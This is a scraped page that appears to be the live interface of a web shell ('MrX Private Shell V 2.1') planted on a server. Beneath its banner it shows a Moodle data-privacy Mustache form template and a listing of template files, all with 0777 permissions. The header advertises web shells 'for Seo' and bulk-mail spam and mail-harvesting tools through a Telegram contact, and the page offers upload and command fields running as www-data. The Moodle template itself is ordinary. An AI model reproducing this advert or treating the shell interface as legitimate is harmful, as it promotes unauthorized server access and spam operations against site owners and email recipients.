__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
{{!
    This file is part of Moodle - http://moodle.org/

    Moodle is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Moodle is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
}}
{{!
    @template tool_dataprivacy/category_purpose_form

    Manage data registry defaults.

    Classes required for JS:

    Data attributes required for JS:

    Context variables required for this template:
    * actionurl String The action URL.
    * contextlevel Number - The context level.
    * modemodule Boolean - Whether to display the activity select element.
    * activityoptions Array - An array of objects for the activity select element.
    * categoryoptions Array - An array of objects for the category select element.
    * purposeoptions Array - An array of objects for the purpose select element.

    Example context (json):
    {
        "actionurl": "#",
        "contextlevel": 70,
        "newactivitydefaults": true,
        "modemodule": true,
        "activityoptions": [
            { "name": "assign", "displayname": "Assignment" },
            { "name": "forum", "displayname": "Forum", "selected": true },
            { "name": "lesson", "displayname": "Lesson" },
            { "name": "quiz", "displayname": "Quiz" }
        ],
        "categoryoptions": [
            { "id": 1, "name": "Category 1" },
            { "id": 2, "name": "Category 2", "selected": true },
            { "id": 3, "name": "Category 3" }
        ],
        "purposeoptions": [
            { "id": 1, "name": "Purpose 1" },
            { "id": 2, "name": "Purpose 2" },
            { "id": 3, "name": "Purpose 3", "selected": true }
        ]
    }
}}

<div class="alert alert-warning" role="alert">
    {{#str}}defaultswarninginfo, tool_dataprivacy{{/str}}
</div>
<form method="post" action="{{actionurl}}" id="category_purpose_form">
    <input type="hidden" value="{{contextlevel}}" id="contextlevel" />
    {{#modemodule}}
    <div class="mb-3">
        <label for="activity">{{#str}}activitymodule{{/str}}</label>
        {{^newactivitydefaults}}
            <input type="hidden" id="activity" value="{{#activityoptions}}{{#selected}}{{name}}{{/selected}}{{/activityoptions}}" />
        {{/newactivitydefaults}}
        <select class="form-control" {{#newactivitydefaults}}id="activity" {{/newactivitydefaults}}{{^newactivitydefaults}}disabled{{/newactivitydefaults}}>
            {{#activityoptions}}
                <option value="{{name}}" {{#selected}}selected{{/selected}}>{{displayname}}</option>
            {{/activityoptions}}
        </select>
    </div>
    {{/modemodule}}
    <div class="mb-3">
        <label for="category">{{#str}}category, tool_dataprivacy{{/str}}</label>
        <select class="form-control" id="category">
        {{#categoryoptions}}
            <option value="{{id}}" {{#selected}}selected{{/selected}}>{{name}}</option>
        {{/categoryoptions}}
        </select>
    </div>
    <div class="mb-3">
        <label for="purpose">{{#str}}purpose, tool_dataprivacy{{/str}}</label>
        <select class="form-control" id="purpose">
        {{#purposeoptions}}
            <option value="{{id}}" {{#selected}}selected{{/selected}}>{{name}}</option>
        {{/purposeoptions}}
        </select>
    </div>
    <div class="form-check">
        <input class="form-check-input" type="checkbox" value="1" id="override">
        <label class="form-check-label" for="override">
            {{#str}}overrideinstances, tool_dataprivacy{{/str}}
        </label>
    </div>
</form>

Filemanager

Name Type Size Permission Actions
categories.mustache File 2.68 KB 0777
category_purpose_form.mustache File 3.93 KB 0777
component_status.mustache File 4.12 KB 0777
context_tree_branches.mustache File 1.04 KB 0777
context_tree_node.mustache File 1.72 KB 0777
data_deletion.mustache File 3.12 KB 0777
data_registry.mustache File 1.79 KB 0777
data_registry_compliance.mustache File 3.66 KB 0777
data_request_email.mustache File 4.25 KB 0777
data_request_modal.mustache File 1.88 KB 0777
data_request_results_email.mustache File 1.72 KB 0777
data_requests.mustache File 2.43 KB 0777
data_requests_bulk_actions.mustache File 1.82 KB 0777
defaults_display.mustache File 2.42 KB 0777
defaults_page.mustache File 5.79 KB 0777
delete_activity_defaults.mustache File 1.22 KB 0777
form-user-selector-suggestion.mustache File 1.48 KB 0777
my_data_requests.mustache File 5.98 KB 0777
purposes.mustache File 4.98 KB 0777
request_details.mustache File 3.76 KB 0777
request_filter.mustache File 2.24 KB 0777
summary.mustache File 4.56 KB 0777
Filemanager